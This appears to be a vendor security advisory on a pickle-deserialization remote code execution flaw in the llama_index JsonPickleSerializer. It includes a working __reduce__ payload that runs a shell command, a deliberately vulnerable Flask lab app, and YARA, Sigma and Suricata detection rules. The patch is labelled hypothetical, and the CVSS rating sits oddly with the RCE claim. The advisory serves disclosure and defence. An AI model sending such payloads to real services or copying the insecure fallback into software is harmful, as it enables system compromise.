CVE-2025-3108

Executive Summary

CVE-2025-3108 is a critical deserialization vulnerability in the run-llama/llama_index library, specifically within the JsonPickleSerializer component. The vulnerability affects versions v0.12.27 through v0.12.40 and allows remote code execution (RCE) due to an insecure fallback to Python's pickle module. The JsonPickleSerializer prioritizes deserialization using pickle.loads(), which can execute arbitrary code when processing untrusted data. Attackers can exploit this by crafting malicious payloads to achieve full system compromise. The root cause includes an insecure fallback mechanism, lack of validation or safeguards, misleading design, and violation of Python security guidelines.

Supply Chain & Package Security

This vulnerability affects the PyPI package llama-index. Users of this package should immediately review their dependency versions and ensure they are not using any version between 0.12.27 and 0.12.40. The package is widely used in AI/ML pipelines, making this a high-risk supply chain issue.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The CVSS score of 5.0 reflects the potential for remote code execution, but the impact is limited to low confidentiality, integrity, and availability due to the context of the vulnerability. However, in practice, RCE can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the JsonPickleSerializer class within the llama_index library. The serializer is designed to handle JSON serialization but falls back to Python's pickle module for deserialization when JSON parsing fails. The pickle.loads() function is inherently dangerous because it can execute arbitrary Python code embedded in the serialized data.

The insecure fallback mechanism works as follows:

1. The JsonPickleSerializer.deserialize() method first attempts to parse the input as JSON.
2. If JSON parsing fails, it falls back to pickle.loads().
3. An attacker can craft a payload that is not valid JSON but is a valid pickle object containing malicious code.
4. When the serializer processes this payload, it executes the attacker's code.

This violates Python security guidelines, which explicitly warn against using pickle with untrusted data. The lack of input validation and safeguards makes this vulnerability easily exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (v0.12.27 - v0.12.40):

import json
import pickle

class JsonPickleSerializer:
    def deserialize(self, data):
        try:
            return json.loads(data)
        except json.JSONDecodeError:
            return pickle.loads(data)  # Insecure fallback

Patched Code (Hypothetical):

import json
import pickle

class JsonPickleSerializer:
    def deserialize(self, data):
        # Only allow JSON deserialization
        return json.loads(data)

The patched version removes the insecure fallback to pickle.loads(), ensuring that only JSON deserialization is performed. Additionally, input validation should be added to reject any data that is not valid JSON.

Exploitation & Lab Setup

Red Team

Exploit Payload:

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
print(payload)

Usage:

1. Generate the malicious pickle payload using the script above.
2. Send the payload to the vulnerable endpoint that uses JsonPickleSerializer.deserialize().
3. The payload will execute the id command on the target system.

Lab Setup:

1. Install vulnerable version: pip install llama-index==0.12.27
2. Create a simple Flask app that uses JsonPickleSerializer:

from flask import Flask, request
from llama_index import JsonPickleSerializer

app = Flask(__name__)
serializer = JsonPickleSerializer()

@app.route('/deserialize', methods=['POST'])
def deserialize():
    data = request.data
    result = serializer.deserialize(data)
    return str(result)

if __name__ == '__main__':
    app.run(debug=True)

3. Send the malicious payload to http://localhost:5000/deserialize.

Blue Team

Detection:

• Monitor for unusual pickle payloads in network traffic.
• Look for pickle.loads() calls in application logs.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to a patched version if available.
• Implement input validation to reject non-JSON data.
• Use a web application firewall (WAF) to block pickle payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual pickle payloads in HTTP POST requests.
  • Base64-encoded data that decodes to pickle byte streams.
• File IOCs:
  • Temporary files created by pickle execution (e.g., /tmp/exploit).
• Process IOCs:
  • Unexpected child processes spawned by the Python application.
• Log IOCs:
  • Log entries containing pickle.loads() calls.
  • JSON decode errors followed by successful deserialization.

Detection Engineering

YARA Rule

rule Detect_Pickle_Payload {
    meta:
        description = "Detects malicious pickle payloads targeting CVE-2025-3108"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-3108"
    strings:
        $pickle_magic = { 80 04 95 }  // Pickle protocol 4 magic bytes
        $os_system = "os.system"
        $subprocess = "subprocess"
        $exec = "exec"
    condition:
        $pickle_magic and ($os_system or $subprocess or $exec)
}

Sigma Rule

title: Detect Pickle Deserialization Attempts
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-3108 via pickle deserialization
author: Valters IT
date: 2025-04-01
logsource:
    category: application
    product: python
detection:
    selection:
        EventID: 1
        Image: "*python*"
        CommandLine: "*pickle.loads*"
    condition: selection
falsepositives:
    - Legitimate use of pickle in internal applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3108 Pickle Deserialization Attempt"; flow:to_server; content:"|80 04 95|"; depth:3; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to a patched version of llama-index as soon as it becomes available. If no patch is available, remove or disable the JsonPickleSerializer component.
2. Workaround: Implement a custom serializer that does not fall back to pickle.loads(). Use only JSON deserialization.
3. Input Validation: Reject any data that is not valid JSON. Implement strict input validation to prevent pickle payloads.
4. Network Segmentation: Isolate systems running vulnerable versions of llama-index to limit the blast radius.
5. Monitoring: Deploy the YARA, Sigma, and Suricata rules provided in this report to detect exploitation attempts.
6. Incident Response: If exploitation is detected, immediately isolate affected systems and conduct a forensic investigation.

Valters IT
Securing Digital Frontiers